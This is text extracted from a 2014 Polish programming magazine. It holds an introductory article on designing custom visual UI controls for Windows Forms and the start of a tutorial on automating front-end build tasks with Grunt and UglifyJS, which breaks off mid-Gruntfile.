Programuje od przeszło dziesięciu lat w Delphi, C++ i C#, prowadząc również prywatne
projekty. Obecnie pracuje w polskiej firmie PGS Software S.A., zajmującej się tworzeniem
oprogramowania i aplikacji mobilnych dla klientów z całego świata.
8
/ 6
. 2014 . (25) /
BIBLIOTEKI I NARZĘDZIA
Wojciech Sura
OD ZERA? DLACZEGO?
Pierwszym pytaniem, które zawsze warto zadać sobie przed zabraniem się
za pisanie nowego komponentu, jest: „czy naprawdę potrzebuję napisać tę
kontrolkę od zera?”. Współczesne internetowe repozytoria toną w ogromnej
ilości kontrolek – od bardzo prostych, które na przykład zmieniają tylko wy-
gląd standardowego ich odpowiednika (przycisku, pola wyboru itp.), aż do
bardzo zaawansowanych, oferujących szeroką funkcjonalność i możliwości
dostosowania wyglądu oraz zachowania. Warto mieć na uwadze, że bardzo
dużo wysokiej jakości kontrolek jest darmowych, a czasem wręcz udostęp-
nionych wraz ze źródłem na zasadach open source. Dlatego też przed zaka-
saniem rękawów warto sprawdzić najpierw, czy ktoś nie wykonał już pracy,
której właśnie zamierzamy się podjąć.
Czasem zdarza się jednak, że skorzystanie z gotowego rozwiązania nie
wchodzi w grę. Powodów może być dużo – zacznijmy choćby od budżetu:
większość dużych firm specjalizujących się w pisaniu komponentów ceni się
proporcjonalnie do jakości oferowanych przez nie produktów. Oznacza to, że
ceny dużych pakietów kontrolek zaczynają się zwykle w okolicach $1000, a
nierzadko za tę cenę otrzymujemy tylko licencję jednostanowiskową. Dru-
gim aspektem jest brak kontroli nad źródłem. Przypuśćmy na przykład, że
zajdzie potrzeba rozszerzenia takiego komponentu o funkcjonalność, której
na chwilę obecną nie oferuje. Możemy spróbować zwrócić się do producenta
lub autora z prośbą o jej dodanie (z różnymi rezultatami) albo wykonać re-
verse-engineering kodu kontrolki i spróbować wstrzyknąć do niej tę funkcjo-
nalność samodzielnie (również z różnymi rezultatami). Piszę to bez przekąsu
– przeanalizowanie kodu rzędu kilku lub kilkunastu tysięcy linii, a następnie
rozszerzenie go tak, by nie zaburzyć filozofii przyświecającej pierwotnemu
twórcy kontrolki, wcale nie jest prostym zadaniem.
Aspekt kontroli nad kodem źródłowym ma jeszcze inne oblicza. Na przy-
kład kontrolkę możemy zaprojektować tak, by nadać jej wstępnie konkretny
kierunek rozwoju, aby przygotować ją do współpracy z innymi elementami
pisanego przez nas systemu lub wyposażyć w mechanizmy, które uproszczą
późniejsze rozszerzanie jej możliwości. Kontrolki komercyjne przeważnie są
uniwersalne, co ma oczywiście swoje zalety, ale w niektórych przypadkach
może przysporzyć nam też kłopotów.
Innym powodem, dla którego możemy zastanowić się nad napisaniem
własnego komponentu od zera, może być również fakt, iż jest on na tyle spe-
cyficzny, że nikt do tej pory jeszcze takiego nie napisał (a jeśli nawet napi-
sał, to nie udostępnił). Zdarzyło mi się na przykład projektować komponenty
wyświetlające dane pozyskiwane z prototypowego urządzenia medycznego.
W tym przypadku nie było co liczyć na to, że znajdziemy gdzieś w Internecie
gotowe rozwiązanie.
CASE STUDY
Jako case study mogę zaprezentować kilka kontrolek, które wyszły spod mo-
jej ręki, naświetlając jednocześnie okoliczności ich powstania.
SpkToolbar
Rysunek 1. SpkToolbar
Okoliczności powstania tej kontrolki nie były zbyt skomplikowane. W roku
2007 Microsoft wprowadził do swoich produktów wstążkę (Ribbon). Kompo-
nent ten spotkał się z bardzo burzliwym przyjęciem – jedni od razu go po-
kochali, inni - znienawidzili. Czas i statystyki pokazały jednak, że w ogólnym
rozrachunku wstążka się przyjęła, a Microsoft zaczął wprowadzać ją do coraz
większej liczby swoich aplikacji, by w końcu stała się standardowym interfa-
cem systemu operacyjnego w Windows 8.
Wówczas programy pisałem jeszcze w Delphi, gdzie przez dłuższy czas
wstążka nie była dostępna, a gdy wreszcie pojawiła się, to cieszyć nią mogli
się tylko użytkownicy płatnych wersji środowiska. Ponieważ przez długi czas
nie pojawił się żaden darmowy odpowiednik tego komponentu, usiadłem i
zabrałem się za napisanie takiego od zera samodzielnie. Jak można się łatwo
domyślić, nie udało mi się odtworzyć całej funkcjonalności – zaimplemento-
wałem tylko przyciski – ale równocześnie przygotowałem API kontrolki tak,
by w łatwy sposób można było dodawać kolejne jej składniki. Zadbałem też
o design-time support (edytory dla IDE) oraz o współpracę z resztą VCLa (na
przykład możliwość przywiązywania akcji do przycisków).
Jako ciekawostkę dodam, że gdy zakończyłem przygodę z Delphi, zdecy-
dowałem się przekazać kody źródłowe kontrolki środowisku programistów
Lazarusa. Tam znaleźli się ochotnicy, którzy popracowali trochę nad kodem,
by kontrolka stała się w pełni obsługiwana przez to IDE, a obecnie znajduje się
w oficjalnym repozytorium Lazarus Code and Component Repository, więc
jeśli ktoś jest zainteresowany obejrzeniem źródeł, może swobodnie pobrać
je z Internetu.
Projektowanie komponentów wizu-
alnych. Część 1: Wstęp
Przeważająca większość frameworków udostępnia pewien domyślny zestaw kontro-
lek wizualnych, przy pomocy których możemy zbudować interface naszej aplikacji.
Wśród nich znajdziemy takie komponenty, jak przycisk, pole wyboru, pole opcji, lista
itd. W przypadku przeciętnych aplikacji biznesowych, w których interakcja z użytkow-
nikiem sprowadza się do wprowadzania lub edycji danych, jest to zestaw w zupełności
wystarczający. Sytuacja komplikuje się jednak nieco, gdy nasza aplikacja potrzebuje
edytora lub podglądu jakiegoś specyficznego rodzaju danych. Z pomocą przychodzą
wtedy internetowe repozytoria, w których możemy odnaleźć brakującą kontrolkę.
Istnieje również inna opcja – możemy spróbować napisać taką kontrolkę samodzielnie.
W nadchodzącej serii artykułów postaram się przybliżyć czytelnikom ten temat.
9
/ www.programistamag.pl /
PROJEKTOWANIE KOMPONENTÓW WIZUALNYCH. CZĘŚĆ 1: WSTĘP
ProCalc
Rysunek 2. ProCalc
Drugim komponentem, który zaprojektowałem od zera, jest renderer wykre-
sów funkcji, który wykorzystywany jest w moim programie – kalkulatorze.
Przypuszczam, że takich komponentów – zarówno płatnych, jak i darmo-
wych – udałoby się trochę w Internecie znaleźć, jednak w tym konkretnym
przypadku nie wchodziły one w grę, ponieważ potrzebowałem bardzo ściśle
zintegrować go z wewnętrznymi mechanizmami kalkulatora. Poza tym zajmo-
wałem się wtedy dosyć intensywnie DirectX-em i miałem ochotę poekspery-
mentować z tym API: cała funkcjonalność rysowania wykresu oddelegowana
jest do natywnej biblioteki DLL, która wykresy rysuje przy pomocy Direct2D.
Przypuszczam, że teraz nie zdecydowałbym się już na takie rozwiązanie, ale
wtedy wydawało się to całkiem dobrym pomysłem.
Jeśli ktoś ma ochotę obejrzeć komponent w akcji, może poszukać w Inter-
necie programu ProCalc, jest on bezpłatnie dostępny na mojej stronie inter-
netowej, a także na Softpedii.
Virtual treeview
Rysunek 3. VirtualTreeView
Programiści Delphi znają z pewnością komponent VirtualTreeView autor-
stwa SoftGems. Jest on tak dobrze napisany i tak funkcjonalny, że CodeGear
wykorzystał go podczas pisania niektórych wersji swojego IDE – możemy go
zobaczyć na przykład w Borland Developer Studio 2005.
VirtualTreeView, poza ogromnymi możliwościami dostosowania tego, w jaki
sposób wyświetlane są elementy drzewa, posiada pewną kluczową funkcjo-
nalność: jest wirtualne. Oznacza to, że nie przechowuje ono prezentowanych
danych, tylko na bieżąco odpytuje o to, jaką ikonę i jaki tekst powinien mieć wy-
świetlany w danym momencie element. Pozwala to na olbrzymią oszczędność
pamięci oraz eleganckie odseparowanie danych od ich prezentacji.
Spośród standardowych kontrolek udostępnianych przez Win32 API
w trybie wirtualnym może pracować ListView (używany np. do wyświetlania
plików w Eksploratorze). Niestety, Microsoft nie zdecydował się na udostęp-
nienie takiego trybu w komponencie TreeView, co zainspirowało mnie do
zaimplementowania odpowiednika VirtualTreeView dla Windows Forms. Wy-
daje mi się, że cel został osięgnięty – oprogramowałem wszystkie najważniej-
sze funkcje pozwalające na normalne korzystanie z drzewa, zaś kod źródłowy
udostępniłem w serwisie CodePlex (słowo kluczowe: Spk.Controls)
ProTranscriber
Rysunek 4. ProTranscriber
ProTranscriber jest programem, który nie ujrzał jeszcze światła dziennego
– wciąż jest w fazie beta. Zamarzyło mi się kiedyś odzyskać kilka fortepiano-
wych akordów z pewnej piosenki, więc napisałem program, który znacznie
mi w tym pomógł. Na zrzucie ekranu widać dwa moje komponenty: wykres
widma dźwięku oraz klawiaturę wraz z wykresem częstotliwości.
Podgląd widma dźwięku jest takim rodzajem komponentu, który można zna-
leźć w Internecie; nie odnalazłem jednak żadnego darmowego, którego jakość by
mnie usatysfakcjonowała. Cóż; kiedy pisze się programy hobbystycznie, przeważnie
każda cena większa od 0 PLN jest argumentem wykluczającym użycie danej kon-
trolki. Napisałem więc własny, a było to o tyle ciekawe doświadczenie, że niosło ze
sobą dosyć duże wyzwanie, o którym napiszę w jednym z następnych artykułów.
Klawiatura wraz z dopasowanym do niej wykresem częstotliwości jest
z kolei komponentem zbyt specyficznym, by udało mi się znaleźć go w posta-
ci gotowej do użycia.
NodeLab
Rysunek 5. NodeLab
10
/ 6
. 2014 . (25) /
BIBLIOTEKI I NARZĘDZIA
Zaprojektowania od zera wymagał również komponent w prywatnym
projekcie, nad którym pracuję teraz – jest ściśle dopasowany do architektury
programu, i w tym przypadku po prostu nie miałem innego wyjścia.
KIEDY NIE PISAĆ WŁASNYCH
KONTROLEK?
W dwóch słowach: kiedy odpowiednia kontrolka już istnieje. Napisałem już
o internetowych repozytoriach, ale jest jeszcze jeden aspekt tego kryterium:
kontrolki standardowe. W sieci bez przerwy znajduję niewielkie programiki
narzędziowe (na przykład konwertujące .flv do .avi albo pozwalające na pod-
gląd stylów muzycznych do keyboardów Yamahy), które wyposażone są w
radosny, świecący w oczy interface użytkownika. Każdy przycisk, pole wybo-
ru, opcji, elementy menu renderowane są ręcznie, a nierzadko zdarza się też,
że program wyposażony jest wręcz w mechanizm skórek, które pozwalają na
globalną zmianę wizualnego tematu aplikacji. Podobnie jest również w przy-
padku aplikacji dostarczanych z urządzeniami, a więc narzędzi do kart siecio-
wych, tunerów TV czy drukarek.
Jestem zdecydowanym przeciwnikiem takich rozwiązań. Trzeba zawsze
mieć na uwadze, że człowiek ma bardzo dużą tendencję do przyzwyczajania się
do różnych rozwiązań. Kształt standardowych kontrolek zostaje zakodowany w
pamięci, dzięki czemu potrzeba bardzo mało czasu, żeby odnaleźć się w oknie
dialogowym, które korzysta z systemowego mechanizmu wyświetlania. Kiedy
jednak zastosujemy alternatywny wygląd kontrolek, użytkownik będzie musiał
najpierw poświęcić trochę czasu na zorientowanie się w samym wyglądzie apli-
kacji. W efekcie spowoduje to, że czas realizacji zadania wydłuży się o walkę z in-
terfacem użytkownika, a to jest jeden z kluczowych czynników, które decydują
o ogólnym wrażeniu, jakie na użytkowniku zrobi nasza aplikacja.
Warto też popatrzeć na historię różnych aplikacji. Zacznijmy od systemu
operacyjnego. Windows w swoich pierwszych wersjach dawał możliwość do-
stosowania wyglądu standardowych kontrolek. Na początku można było to
zrobić przy pomocy osobnych aplikacji, a w Windows XP funkcjonalność ta
została już wbudowana w system operacyjny. W praktyce jednak rzadko kiedy
widziałem, by ktoś skorzystał z tej funkcji - przeważająca większość znanych
mi użytkowników korzystała z domyślnego, niebieskiego lub szarego tematu
albo wręcz wracała do tradycyjnego wyglądu okien. Microsoft musiał mieć po-
dobne spostrzeżenia, bo w późniejszych wersjach systemu zrezygnowano już
z możliwości decydowania o wyglądzie elementów interface'u użytkownika.
Dosyć podobnie rzecz ma się na przykład z odtwarzaczami muzyki. Kiedyś
królował nieśmiertelny Winamp, którego wygląd można było dosyć dowolnie
zmieniać. Teraz najczęściej widuję ascetycznego FooBara, VLC Playera, który
korzysta ze standardowego schematu systemowego, albo Windows Media
Playera w swoim standardowym wyglądzie.
Oczywiście istnieje też wiele aplikacji, które wyłamują się ze schematu i
korzystają z własnego zestawu kontrolek (częściowo lub całkowicie). Na przy-
kład Google Chrome ma interface znacząco różniący się od standardowego,
systemowego; podobnie jest też na przykład z aplikacjami z pakietu Office.
Pamiętajmy jednak, że w przypadku takich aplikacji nad ich wyglądem pra-
cuje sztab specjalistów, którzy wiedzą, jak zaprojektować kontrolki, by były
estetyczne i jednocześnie nie wchodziły w drogę użytkownikowi, który będzie
z nich korzystał.
KOPIUJ, WKLEJ
Sytuacja, w której mamy pod ręką grafika i specjalistę od UX, jest sytuacją ide-
alną. Dostaniemy wtedy gotowy design odpowiednich kontrolek i pozosta-
nie nam tylko ich zaimplementowanie. Niestety jednak w życiu bywa różnie
i często zdarza się, że to programista jest osobą, która będzie musiała zadbać
o wygląd aplikacji. Dzieje się tak najczęściej w przypadku aplikacji pisanych
hobbystycznie (co, niestety, często kończy się powstaniem potworków, o któ-
rych wspominałem wcześniej).
Moja rada w takim przypadku jest bardzo prosta: przyjrzyjmy się już istnie-
jącym aplikacjom i elementom interface'u użytkownika i kopiujmy pomysły bez
skrępowania! Oczywiście w miarę możliwości: tak, aby nie popełnić plagiatu
albo nie złamać jakiegoś patentu. Na szczęście w większości przypadków spra-
wa rozbija się o detale, a te są zbyt małe, by można było się o nie procesować.
Dlaczego podchodzę do sprawy w taki sposób? To proste: jeśli nawet je-
stem dobrym programistą, to grafik ze mnie żaden. Jednocześnie wiem, że
nad wyglądem większości dużych aplikacji pracowało grono specjalistów –
powielając ich pomysły, mam możliwość zaprojektowania estetycznych kon-
trolek, samemu nie mając na ten temat zbyt dużej wiedzy. W jednym z następ-
nych artykułów postaram się zaprezentować kilka prostych pomysłów, które
można wykorzystać, by uatrakcyjnić projektowane przez siebie kontrolki.
RODZAJE KOMPONENTÓW
Na poziomie architektury komponenty wizualne możemy podzielić na dwie
kategorie: komponenty kompozytowe i – z braku lepszego określenia – nie-
standardowe (custom).
Komponenty kompozytowe stanowią złożenie (kompozycję) kilku innych
komponentów. Przykładowo załóżmy, że w naszej aplikacji bardzo często ko-
rzystamy z pól do wpisywania nazwy użytkownika i hasła. Aby zapewnić jed-
nolity interface użytkownika (a jednocześnie ułatwić sobie pracę), możemy
zbudować komponent kompozytowy zawierający dwa pola tekstowe i dwie
etykiety, którego będziemy mogli potem użyć w wielu innych miejscach.
Komponowanie kontrolek ma swoje wady i zalety. Do tych ostatnich na-
leży z pewnością fakt, że w ten sposób ujednolicamy interface użytkownika
– komponent użyty w każdym miejscu aplikacji będzie wyglądał tak samo.
Ponadto, jeśli zdecydujemy się na to, aby ten wygląd zmienić, odpowiednią
zmianę wystarczy zrobić tylko w jednym miejscu. Drugim plusem jest moż-
liwość zaszycia w takiej kontrolce dodatkowej funkcjonalności, na przykład
wstępnej walidacji nazwy użytkownika lub długości oraz jakości hasła. Mo-
żemy też zadbać o to, aby komunikacja pomiędzy komponentem a innymi
elementami formatki była odcięta od jego zawartości. Mam na myśli to, że
nazwę użytkownika i hasło możemy wyprowadzić poprzez własności takiego
komponentu – jego użytkownicy nie muszą przejmować się tym, że są one
wewnętrznie transportowane do pól tekstowych. Dzięki temu, gdy później
zajdzie taka potrzeba, pole tekstowe możemy na przykład wymienić na listę
rozwijaną z opcją edycji – i znów zmianę będzie wystarczyło wprowadzić tylko
w jednym miejscu.
Wadą kontrolek kompozytowych jest to, że jesteśmy w dużym stopniu ogra-
niczeni, jeśli chodzi o ich funkcjonalność. Jest tak dlatego, że możemy korzystać
tylko z już istniejących kontrolek: nierealne jest na przykład przygotowanie
komponentu kompozytowego wyświetlającego widmo dźwięku albo wykres
funkcji (choć w niektórych frameworkach nie jest to do końca prawda, ale o tym
za chwilę). Drugim problemem jest to, że z perspektywy użytkownika mamy
niewielki wpływ na to, w jaki sposób komponent kompozytowy działa we-
wnątrz. Komponent taki nie jest bowiem traktowany przez framework na osob-
nych zasadach – dla niego jest to po prostu kilka kontrolek ułożonych na innej,
będącej kontenerem. Jeśli więc na przykład twórca komponentu nie zadba o to,
aby wewnętrzne kontrolki miały ustawiony właściwy tab-order (czyli kolejność
zmiany fokusu podczas przełączania klawiszem tab), to jesteśmy już na niego
skazani. Problem ten dotyczy wszystkich tych aspektów, które wynikają ze spo-
sobu, w jaki kontrolki komunikują się z frameworkiem.
Kontrolki niestandardowe z kolei to te, które są projektowane przez pro-
gramistę od zera. W dużym skrócie dostaje on pewien prostokątny obszar, po
którym może rysować, oraz jest informowany o pewnym zbiorze zdarzeń, któ-
re zachodzą w obrębie tego obszaru (na przykład ruchy i kliknięcia myszy, wci-
skanie przycisków na klawiaturze w momencie, gdy kontrolka ma fokus itp.),
i to wszystko: całą interakcję musi on opracować praktycznie od zera. Przygo-
towanie kontrolki niestandardowej wymaga znacznie więcej pracy i uwagi od
programisty, ale ma tę zaletę, że ma on całkowitą dowolność w zakresie tego,
w jaki sposób kontrolka taka będzie funkcjonowała. Przeważająca większość
artykułów z tej serii omawiać będzie tematykę programowania kontrolek nie-
standardowych. Na marginesie: wszystkie kontrolki zaprezentowane na zrzu-
tach ekranu są kontrolkami niestandardowymi.
11
/ www.programistamag.pl /
PROJEKTOWANIE KOMPONENTÓW WIZUALNYCH. CZĘŚĆ 1: WSTĘP
Istnieją takie frameworki, które w pewnym stopniu pozwalają połączyć
cechy kontrolek kompozytowych i niestandardowych. Polega to na tym, że
w zestawie standardowych kontrolek istnieją takie, które z założenia służą do
tego, by składać z nich bardziej zaawansowane komponenty – na przykład w
bibliotece Windows Presentation Foundation znajdziemy takie kontrolki, jak
Border (ramka) czy Path (ścieżka). Korzystanie z takiej metody projektowa-
nia pociąga niestety za sobą wszystkie wady kontrolek kompozytowych – na
przykład może się zdarzyć, że po umieszczeniu obrazka na przycisku będzie
on funkcjonował jako pełnoprawny komponent i będzie otrzymywał fokus
(co oczywiście jest okolicznością niepożądaną). Z drugiej strony jednak po-
zwala na stosunkowo precyzyjne zaprojektowanie wyglądu kontrolki w bar-
dzo wygodny i niewymagający dużego wysiłku sposób (w przypadku WPFa
sprowadza się to do opisania kontrolki w opartym na XMLu języku XAML).
JAK PROJEKTOWAĆ KONTROLKI?
Zanim zabierzemy się za pisanie kodu, dobrze jest zastanowić się wcześniej,
jak dana kontrolka będzie wyglądać oraz w jaki sposób będzie prowadzona
interakcja z użytkownikiem. Istnieje kilka obszarów, na które należy zwrócić
uwagę w sposób szczególny.
Wygoda użytkowania
Z kontrolkami jest podobnie jak z rzeczywistymi przedmiotami: oczekujemy
od nich, aby były funkcjonalne i wygodne w użytkowaniu – do tego nie trzeba
chyba nikogo przekonywać. Istotnym aspektem jest tu jednak również kwestia
zachowywania pewnych standardów. Na przykład, jeśli w zakresie funkcjonal-
ności naszej kontrolki przewidujemy możliwość zaznaczania elementów, to o ile
nie koliduje to ze specyfiką wyświetlanych danych, dobrze jest udostępnić użyt-
kownikowi zwykłe zaznaczenie prostokątne oraz uwzględnić przyciski Ctrl (do-
dawanie i usuwanie z zaznaczenia) oraz Shift (zaznaczenie zakresu elementów).
Zastosowanie innego mechanizmu może doprowadzić do tego, że użytkownik
po prostu nie będzie wiedział, jak naszej kontrolki użyć.
Wygoda użytkowania odnosi się również do programisty, który będzie ko-
rzystał z tej kontrolki. Warto więc pomyśleć podczas projektowania o tym, aby
API kontrolki było funkcjonalne, elastyczne i czytelne.
Wydajność
Nieresponsywne programy są irytujące, a jedną z przyczyn nieresponsywnych
programów są nieresponsywne kontrolki. Dobrze napisana kontrolka powin-
na realizować wszystkie zadania natychmiast; czasami wystarczy oddelego-
wać długie zadanie do osobnego wątku, ale zdarza się też, że trzeba uciec się
do bardziej wyrafinowanych rozwiązań.
Estetyka
Można dosyć bezpiecznie oszacować, że sam wygląd (odcięty od funkcjo-
nalności, niezawodności i tak dalej) programu składa się na 80% pierwszego
wrażenia użytkownika. Stare przysłowie mówi, że nie da się zrobić drugiego
pierwszego wrażenia, więc warto dołożyć starań, aby wypadło ono jak naj-
korzystniej. Poza tym jest bardzo prawdopodobne, że nasze programy będą
użytkowane przez kogoś na co dzień – dlaczego nie umilić mu pracy estetycz-
nym interfacem?
Niezawodność
Myślę, że i ten punkt nie wymaga szerokiego komentarza, a jest szczególnie
ważny, gdy naszej kontrolki będą używały osoby trzecie. Jest tak dlatego, że
komponent jest osobnym, zamkniętym fragmentem aplikacji. Jeśli pojawią
się w nim błędy, to zwykle jedyną opcją jest kontakt z autorem, ponieważ na-
wet wówczas, gdy dostępny jest kod źródłowy, jego analiza, diagnoza proble-
mu i późniejsze naprawianie znacząco utrudnia pracę użytkownikowi kompo-
nentu (o ile w ogóle się za to zabierze).
WYMAGANIA WSTĘPNE
Co trzeba wiedzieć, aby zabrać się za pisanie własnych kontrolek? Po pierwsze,
konieczna jest już pewna wiedza na temat frameworka, w którym pracujemy:
nie jest to na pewno zajęcie dla osób rozpoczynających dopiero przygodę z
programowaniem. W niniejszym cyklu będziemy korzystać z Windows Forms,
czyli w praktyce – Win32 API. Nie jest to być może framework ostatnio bardzo
popularny, ale świetnie nadaje się do nauki pisania własnych komponentów,
ponieważ jest dosyć prosty, stosunkowo wydajny i udostępnia wszystko, cze-
go potrzebujemy do pracy. Poza tym dużo pomysłów i algorytmów, które
będę prezentował, jest całkowicie niezależnych od konkretnego framewor-
ka, więc łatwo będzie je przenieść do innych środowisk albo nawet języków
programowania.
Doświadczenie podpowiada mi, że warto odświeżyć trochę swoją wiedzę
z matematyki – głównie z geometrii w układzie współrzędnych. Samo ryso-
wanie kontrolek nie wymaga tej wiedzy zbyt wiele, ale w momencie, gdy za-
czniemy oprogramowywać interakcję z użytkownikiem, okaże się, że będzie
ona bardzo przydatna.
Bardzo przydaje się również odrobina zmysłu artystycznego – choćby w
kwestii doboru kolorów oraz stosowania różnych efektów wizualnych. Ale i
bez niego można się obyć – postaram się zaprezentować w późniejszych ar-
tykułach kilka sztuczek, które niewielkim kosztem pozwolą osiągnąć całkiem
efektowne rezultaty.
Nie ukrywam, że bardzo zalecaną cechą jest też cierpliwość: miejmy cały
czas na uwadze, że każdy pojedynczy piksel musimy narysować sami; każdą
pojedynczą interakcję z użytkownikiem musimy zaprogramować sami; każdy
element API kontrolki musimy napisać sami! Nie raz zdarzało mi się pracować
pod powiększeniem x8 (chwała temu, kto wymyślił skróty Win+Num plus, Wi-
n+Num minus), żeby wyśledzić „wyciekające” piksele.
CO DALEJ?
Tym sposobem zakończyliśmy wprowadzenie do projektowania kontrolek wi-
zualnych. W następnej części spróbujemy napisać dwa proste komponenty:
jeden kompozytowy, zaś drugi – niestandardowy.
Wojciech Sura
wojciechsura@gmail.com
Programuje od przeszło dziesięciu lat w Delphi, C++ i C#, prowadząc również prywatne
projekty. Obecnie pracuje w polskiej firmie PGS Software S.A., zajmującej się tworzeniem
oprogramowania i aplikacji mobilnych dla klientów z całego świata.
12
/ 6
. 2014 . (25) /
BIBLIOTEKI I NARZĘDZIA
Kacper Cyran
L
ata mijają, a znaczenie JavaScriptu ciągle rośnie. Społeczność wzbogaciła
się o wiele open-sourcowych narzędzi, dzięki którym praca front-end de-
veloperów stała się przyjemniejsza oraz bardziej efektywna. Jednym z nich
jest
Grunt, który zautomatyzuje za Ciebie powtarzalne zadania. Używasz kompi-
latorów CSS, łączysz obrazki w sprite'y, by przyspieszyć ładowanie strony? Mini-
fikujesz, łączysz i kompilujesz pliki JS? A może chcesz na bieżąco oglądać swoją
prace w przeglądarce? Jeśli tak, to czytaj dalej. Ten artykuł jest dla Ciebie!
CZYM JEST GRUNT?
Projekt powstał w oparciu o platformę node.js oraz package manager npm.
Grunt to dedykowany głównie developerom front-endu „JavaScript Task Run-
ner”, czyli manager zadań dostępny z wiersza poleceń. Idea projektu jest bar-
dzo prosta, pomaga zautomatyzować czynności cyklicznie powtarzane, tak
zwane „taski”. W przypadku front-endu może to być kompresja CSS i JS, testy
jednostkowe czy kompilacja CoffeScript.
DLACZEGO WARTO UŻYWAĆ GRUNTA?
Czasy, w których królował jQuery i CSS bez kompilacji, minęły bezpowrotnie,
proces wytwarzania nawet prostych stron internetowych jest skomplikowany
i wymaga wielu narzędzi wspomagających.
Podstawowy powód to prosta i bezproblemowa automatyzacja wszyst-
kich nudnych procesów tworzenia oprogramowania. Dodatkową zaletą jest
uniezależnienie się od platformy, na której pracuje developer, czy różnych
wersji oprogramowania. Dzięki npm i Gruntowi wszyscy developerzy pracują
w jednolitym i spójnym środowisku niezależnym od platformy i środowiska
programistycznego.
Dodatkowo instalacja całego managera jest bardzo prosta i szybka.
Główne korzyści:
» efektywność – pełna automatyzacja pozwala w dłuższym rozrachunku
zaoszczędzić całe godziny, dni i tygodnie pracy, wprowadzanie zmian nie
będzie tak kosztowne, a developer zajmuje się tylko tym, co lubi;
» konsekwencja – wykonania tej samej rzeczy – proces budowania projektu
będzie zawsze taki sam, bez względu na pogodę, humor czy stan psycho-
fizyczny developera;
» społeczność – cała paleta pomocnych tasków dostępna na licencjach
open-source, ponad 1900 pluginów do Grunta;
» elastyczność – większość pluginów ma na tyle elastyczną konfigurację, że
możemy bez problemu dostosować je do swojego projektu;
» jakość – oszczędzając czas, można skupić się w większej mierze na jakości
wytwarzanego oprogramowania.
PIERWSZA INSTALACJA
I KONFIGURACJA
Wskazówka dla osób, które do tej pory nie miały do czynienia z node.js i npm,
instalacja jest bardzo prosta:
W przypadku systemu Ubuntu:
sudo apt-get install npm
Użytkownicy Windowsa cały pakiet mogą ściągnąć ze strony:
.
Po instalacji inicjalizujemy pakiet npm, który wykona za nas wstępną konfigu-
rację modułów potrzebnych do działania managera.
W katalogu głównym projektu tworzymy plik package.json, w którym za-
pisujemy zależności, przechowuje on wszystkie dane na temat wymaganych
modułów, ale również metadanych naszego projektu takich, jak: nazwa, wersja,
opis, autor, lub repozytoria. Więcej na
https://npmjs.org/doc/json.html
.
{
"
name
"
:
"
Grunt test - SMSAPI.pl
"
,
"
version
"
:
"
0.0.1
"
,
"
description
"
:
"
Testowy plik package.json
"
,
"
author
"
:
"
Kacper Cyran - SMSAPI.pl
"
,
"
license
"
:
"
MIT
"
,
"
devDependencies
"
:
{
}
}
W przypadku kiedy dostaliśmy gotowy plik package.json, wpisujemy po-
lecenie:
npm install.
Kolejnym krokiem jest instalacja i dodanie pakietu Grunta do listy wyma-
ganych moduów:
npm install grunt-cli --save-dev.
Komenda
--save-dev automatycznie dopisuje Grunta do zależności
w pliku package.json.
{
...
"
devDependencies
"
:
{
"
grunt-cli
"
:
"
~0.1.9
"
,
}
...
}
Tworzymy dodatkowy plik grunt, aby ułatwić sobie pracę nad projektem.
#!
/bin/sh
.
/node_modules/
.
bin/grunt
"$@"
Notatki
* w IDE, w którym pracujemy, zalecam dodać do ignorowanych folder
./node_modules ze względu na dużą ilość plików ściąganych przez npm.
* npm pozwala tworzyć globalne instancje Grunt poleceniem
npm install
-g grunt-cli, ale nie zalecam tej praktyki ze względu na niekompatybil-
ność różnych wersji pakietów pomiędzy projektami.
* jeżeli korzystamy z jakiegoś systemu kontroli wersji, to zalecam dodać kata-
log /node_modules do pliku .gitignore.
Konfiguracja Grunta
Kolejnym etapem jest już konfiguracja Grunta. Tworzymy plik Gruntfile.js:
module
.
exports
=
function
(
grunt
)
{
// tutaj będzie miała miejsce rejestracja i konfiguracja zadań
};
UglifyJS
Biblioteka UglifyJS jest dobrze znana programistom JavaScriptu, pozwala łą-
czyć, kompresować i filtrować pliki .js, wszystkie te zadania są powtarzalne.
Zadanie wykonywane z linii poleceń wygląda mniej więcej tak:
// uglifyjs [input files] [options]
uglify src/file1.js src/file2.js -o desc/output.min.js
Automatyzacja za pomocą GruntJS
Grunt to task manager stworzony głównie z myślą o front-endzie. Masz dość ręcznego
składania projektu? Grunt wykona za Ciebie wszystkie nudne i powtarzalne zadania.
13
/ www.programistamag.pl /
AUTOMATYZACJA ZA POMOCĄ GRUNTJS
Każda zmiana w dowolnym pliku wymaga ponownego wpisania parame-
trów uruchomienia skryptu.
Kiedy chcemy zminimalizować inny katalog i zapisać plik wynikowy w inne
miejsce, ponownie musimy zmienić parametry w command line, żeby wykonać
polecenie:
uglify vendors/bootstrap.js -o desc/vendors.min.js.
Wykonywanie tych czynności jest męczące, bardzo łatwo można zapo-
mnieć o którymś z wymaganych plików, zmienić kolejność czy zapisać zmiany
do innego pliku.
Poza tym, kiedy pracujemy w grupie, taka praktyka jest praktycznie nie-
możliwa. Dlatego lepiej jest użyć gotowego skonfigurowanego skryptu, który
zrobi to za nas.
Instalacja pluginu dla UglifyJS
Pierwszym zadaniem, jakie dodamy, będzie właśnie konfiguracja UglifyJS.
Teoretycznie możemy sami napisać odpowiedni plugin w node.js, jednak
npm pozwala nam skorzystać z tysięcy gotowych konfigurowalnych i prze-
testowanych rozwiązań. Wystarczy wejść na stronę
i wy-
szukać interesujące nas pakiety. Do biblioteki UglifyJS możemy użyć pluginu
grunt-contrib-uglify. Na stronie projektu znajduje się dobry opis konfiguracji
i przykłady użycia.
Najpierw instalujemy bibliotekę:
npm install grunt-contrib-uglify --save-dev
po instalacji musimy włączyć plugin w pliku Gruntfile.js i przechodzimy do
konfiguracji zadań:
grunt.loadNpmTasks('grunt-contrib-uglify');
W naszym przypadku plik Gruntfile.js będzie wyglądał następująco:
module
.
exports
=
function
(
grunt
)
{
// załadowanie pluginu "uglify"
grunt
.
loadNpmTasks
(
'grunt-contrib-uglify'
)
;
// inicjalizacja konfiguracji
grunt
.
initConfig
(
{
// załadowanie metadanych z pliku package.json
// może być pomocne przy bardziej skomplikowanych zadaniach
pkg
:
grunt
.
file
.
readJSON
(
'package.json'
),
// ustawienie konfiguracji dla pluginu "uglify"
uglify
:
{
// pierwszy zdefiniowany scope i konfiguracja
my_target
:
{
files
:
{
'desc/output.min.js'
:
[
'src/file1.js'
,
'src/file2.js'
]
}
}
,
other_scope
:
{
files
:
{
'desc/vendors.min.js'
:
[
'vendors/bootstrap.js'
]
}
}
}
}
)
;
// rejestracja domyślnego zadania
grunt
.
registerTask
(
'default'
,
[
